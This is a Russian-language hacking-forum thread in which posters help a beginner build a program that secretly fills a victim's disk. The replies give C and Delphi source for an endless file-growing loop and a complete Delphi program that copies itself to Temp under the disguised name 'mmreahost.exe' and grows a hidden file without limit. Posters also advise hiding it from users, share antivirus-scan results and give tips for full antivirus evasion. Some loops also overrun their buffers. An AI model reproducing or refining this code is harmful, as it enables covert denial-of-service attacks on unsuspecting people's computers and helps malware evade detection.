Ну, суть понятна. Хотел такое написать на делфи, но информации почти не нашел. Думаю, можно как нибудь сделать это моими знаниями новичка, но это же не разумно. В общем, подскажите как это сделать, что почитать. Буду благодарен. Получается, нужно чтобы прога высчитывала сколько пустого места на диске и забила его нулями, пока пустого места не останется. Заранее спасибо)
Ну, это можно конечно, но я хотел бы немного точности, то есть чтобы она еще и вычислял объем свободного места. + хотелось бы сделать ее невидимой для пользователя и желательно для антивируса. Хотя это наверное слишком много будет для моего то уровня) Хотя надо же учиться. Подскажите тогда как ее скрыть
Узнаешь размер сектора диска. GetDiskFreeSpace Выделяешь буфер VirtualAlloc Открываешь файл CreateFile { n - раз RtlGenRandom Записываешь в файл WriteFile } Закрываешь файл. CloseHandle Освобождаешь буфер VirtualFree цикл можешь сделать for(;
Тебе уже ответили, но мне больше нравится запись в файл в бесконечном цикле, как предложил DooD, поэтому вот чуть больше инфы: Код на C/C++, извини, к тому же, тут еще жрет оперативку через HeapAlloc. Code: #include <windows.h> DWORD memory_size = 0; void IncreaseFileSize(LPCTSTR FileName, int size, int value) { char buf[size]; int i; for (i = 0; i <= size; i++) buf[i] = value; HANDLE hFile = CreateFile(FileName, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); SetFilePointer(hFile, 0, NULL, FILE_END); DWORD dwWrite = 0; WriteFile(hFile,buf, size, &dwWrite, NULL); CloseHandle(hFile); } int main() { int value = 0x0; HANDLE heap = HeapCreate(0x00040000, 0, 0); if (heap != 0) { for(;;) { HeapAlloc(heap, HEAP_ZERO_MEMORY, memory_size); IncreaseFileSize("BOMJATNIK.bomj", 1024, value); if (value <= 0xFF) value = 0x0; else value++; } } Sleep(10000); return 0; } Но, так как используются функции WinApi это переделать под Delphi можно за пару минут. Главное алгоритм: 1) Открываем файл 2) Ставим указатель на конец файла 3) Пишем какое-то количество байт 4) закрываем 5) Повторяем все с действия 1 до бесконечности 6) Как память забьется - софт вылетает с ошибкой, а файл остается. Тебе именно интересна функция: Code: void IncreaseFileSize(LPCTSTR FileName, int size, int value) { char buf[size]; int i; for (i = 0; i <= size; i++) buf[i] = value; HANDLE hFile = CreateFile(FileName, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); SetFilePointer(hFile, 0, NULL, FILE_END); DWORD dwWrite = 0; WriteFile(hFile,buf, size, &dwWrite, NULL); CloseHandle(hFile); } Если быстро переписать под Delphi, то будет что-то вроде такого: Code: procedure IncreaseFileSize(FileName:PChar; value:integer); var i:integer; buf:array[0..1023] of integer; hFile, dwWrite:cardinal; begin for i := 0 to 1024 do buf[i] := value; hFile := CreateFile(FileName, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); SetFilePointer(hFile, 0, 0, FILE_END); WriteFile(hFile, buf, sizeof(buf), dwWrite, 0); CloseHandle(hFile); end; Кажется, что так. Вызов такой: Code: IncreaseFileSize(PChar('bomj.bomj'), $FF); Повысит размер файла bomj.bomj на 4 КБ, дописав к нему 1024 значения 0FFh Запихивай это в цикл, в такое количество итераций, на которое тебе нужно увеличить размер файла в КБ, можешь в бесконечный цикл. АВ обязаны не палить такое, поэтому все норм. Создавай файл в неприметном месте, а то постоянно увеличивающийся файл в размере bomj.bomj на глазах у юзера точно вызовит панику. P.S. Не забудь в uses дописать модуль Windows
Сразу скажу: сорри за дабл постинг, ачат лагал, не мог сообщение отредактить почему-то. От нефиг делать накодил то, что предлагал DooD: Code: program Project2; uses Windows, ShellApi; procedure IncreaseFileSize(FileName:PChar; value:integer); var i:integer; buf:array[0..1023] of integer; hFile, dwWrite:cardinal; begin for i := 0 to 1024 do buf[i] := value; hFile := CreateFile(FileName, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); SetFilePointer(hFile, 0, 0, FILE_END); WriteFile(hFile, buf, sizeof(buf), dwWrite, 0); CloseHandle(hFile); end; var TempPath, SelfPath:array[0..MAX_PATH] of char; begin GetTempPath(sizeof(TempPath), TempPath); GetModuleFIleName(0, SelfPath, sizeof(SelfPath)); if (pos('mmreahost.exe', SelfPath) <> 0) then begin while (true) do IncreaseFileSize(PChar(TempPath + 'bomj.bomj'), 0); end else begin CopyFile(SelfPath, PChar(TempPath + '\mmreahost.exe'), false); ShellExecute(0, 'open', 'mmreahost.exe', 0, TempPath, SW_SHOW); ExitProcess(0); end; end. Кидаешь это в консольное приложение ( Console Application ), я ведь, надеюсь, что ты умеешь создавать консольные приложения? ( Если не умеешь то перейди в конец поста, там я написал. ) .Вот сотри там все и скопируй этот код. Компилируй. Будет без окон, как открываешь происходит следующее: 1) Проверка, запущен ли из под имени mmreahost.exe 2) Если запущен из под имени mmreahost.exe, то идет создание в папки Temp бесконечно нарастающего файла bomj.bomj ( через 10 секунду размер был 300 МБ, а что будет через час ?=)) 3) Если не запущен из под имени mmreahost.exe, то происходит копирование в папку Temp с именем mmreahost.exe и запуск этого mmreahost.exe, далее выход из процесса и mmreahost.exe начинает выполнять второй пункт. P.S. Размер файла 16 КБ. А вот и само палево антивирусами: Название файла: Project2.exe Размер файла: 15872 байт Дата сканирования: Thu, 03 Apr 14 14:43:36 -0400 MD5-хэш файла: 55273249689976c56dde6adcfe37e28b Результат: 8 из 36 Ad-Aware: OK AhnLab V3 Internet Security: OK ArcaVir: Gen:Trojan.Heur.DP.aGW@a0LcUoc Avast: OK AVG: OK Avira: OK Bitdefender/BullGuard: OK BullGuard Internet Security 2013: Gen:Trojan.Heur.DP.aGW@a0LcUoc Comodo: TrojWare.Win32.TrojanDownloader.Banload.AIA0@107156615 Dr.Web: OK Emsisoft Anti-Malware (a-squared Anti-Malware): Gen:Trojan.Heur.DP.aGW@a0LcUoc (B) eScan Internet Security Suite 14: OK Fortinet 5: OK F-Prot: W32/Delf.AY.gen!Eldorado F-Secure 2014: OK G Data: Malware detected IKARUS: OK Immunet/ClamAV: Gen:Trojan.Heur.DP.aGW@a0LcUoc K7 Ultimate: Riskware ( 9a8ea8d00 ) Kaspersky Internet Security 2014: OK McAfee Total Protection 2013: OK Microsoft Security Essentials: OK NANO: OK NOD32: OK Norman: OK Norton Internet Security: OK Outpost Security Suite Pro 8.0: OK Quick Heal: OK Sophos: OK SUPERAntiSpyware: OK Total Defense Internet Security: OK Trendmicro Titanium Internet Security: OK Twister Antivirus 8: OK VBA: OK VIPRE Internet Security 2013: OK Virit: OK Scan report generated by Scanner.FuckAV.ru Такое палево, из-за копирование в Temp и запуск от туда, поэтому если нужен FUD убери это, но тут и убрать легче будет. P.S. Тут без авторана. Создание консольного приложения по шагам, для нубов: File > New > Other > Console Application Бинго! Если затереть {$APPTYPE CONSOLE}, то консоль создаваться не будет.